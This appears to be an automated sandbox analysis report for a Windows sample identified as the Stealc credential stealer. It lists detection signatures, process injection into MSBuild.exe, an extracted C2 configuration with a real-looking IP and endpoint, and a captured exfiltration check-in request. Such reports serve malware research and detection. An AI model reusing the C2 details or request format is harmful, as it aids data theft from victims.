Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1527564
MD5:	79175e5acbef41e7bd57be7381965c49
SHA1:	3a3ecb2618c0d0a0095e3b2b7e0ae1e8baf9dfba
SHA256:	1f11629cc1cf4d00dbfbe5f11f5df7b5588dccac7e7cf85dc5e696703179ad28
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Machine Learning detection for sample

Sigma detected: Silenttrinity Stager Msbuild Activity

Writes to foreign memory regions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

file.exe (PID: 5368 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 79175E5ACBEF41E7BD57BE7381965C49)

MSBuild.exe (PID: 6320 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 5580 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://62.204.41.159/edd20096ecef326d.php", "Botnet": "default5_doz"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5368	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 5580	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 5580	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.40cae0.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.40cae0.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.3e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 62.204.41.159, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 5580, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:16:04.548333+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49711	62.204.41.159	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.file.exe.40cae0.1.raw.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://62.204.41.159/edd20096ecef326d.php", "Botnet": "default5_doz"}

Multi AV Scanner detection for domain / URL

Source: http://62.204.41.159/	Virustotal: Detection: 22%	Perma Link
Source: http://62.204.41.159/edd20096ecef326d.php(#	Virustotal: Detection: 11%	Perma Link
Source: http://62.204.41.159/edd20096ecef326d.php	Virustotal: Detection: 23%	Perma Link
Source: http://62.204.41.159/edd20096ecef326d.phpl#	Virustotal: Detection: 13%	Perma Link
Source: http://62.204.41.159/edd20096ecef326d.php#	Virustotal: Detection: 23%	Perma Link
Source: http://62.204.41.159/c	Virustotal: Detection: 20%	Perma Link
Source: http://62.204.41.159/ows	Virustotal: Detection: 10%	Perma Link
Source: http://62.204.41.159/edd20096ecef326d.phpH#	Virustotal: Detection: 8%	Perma Link
Source: http://62.204.41.159	Virustotal: Detection: 22%	Perma Link
Source: http://62.204.41.159/=	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 41%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49783 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.6:49713 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003F980F FindFirstFileExW,

0_2_003F980F

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49711 -> 62.204.41.159:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://62.204.41.159/edd20096ecef326d.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.159Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /edd20096ecef326d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCBHost: 62.204.41.159Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 39 39 30 33 37 36 38 32 34 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 35 5f 64 6f 7a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="hwid"F990376824272029741119------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="build"default5_doz------IDHDGDHJEGHIDGDHCGCB--

Source: Joe Sandbox View

IP Address: 62.204.41.159 62.204.41.159

Source: Joe Sandbox View

ASN Name: TNNET-ASTNNetOyMainnetworkFI TNNET-ASTNNetOyMainnetworkFI

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49783 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.159
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.159
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.159
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.159
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.159
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.159
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.159
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00406280 InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

3_2_00406280

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 62.204.41.159Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /edd20096ecef326d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCBHost: 62.204.41.159Content-Length: 219Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 39 39 30 33 37 36 38 32 34 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 35 5f 64 6f 7a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="hwid"F990376824272029741119------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="build"default5_doz------IDHDGDHJEGHIDGDHCGCB--

Source: MSBuild.exe, 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159
Source: MSBuild.exe, 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159(
Source: MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159/
Source: MSBuild.exe, 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159/=
Source: MSBuild.exe, 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159/c
Source: MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159/edd20096ecef326d.php
Source: MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159/edd20096ecef326d.php#
Source: MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159/edd20096ecef326d.php(#
Source: MSBuild.exe, 00000003.00000002.2144302297.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159/edd20096ecef326d.php=a
Source: MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159/edd20096ecef326d.phpH#
Source: MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159/edd20096ecef326d.phpl#
Source: MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.159/ows
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe	String found in binary or memory: http://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
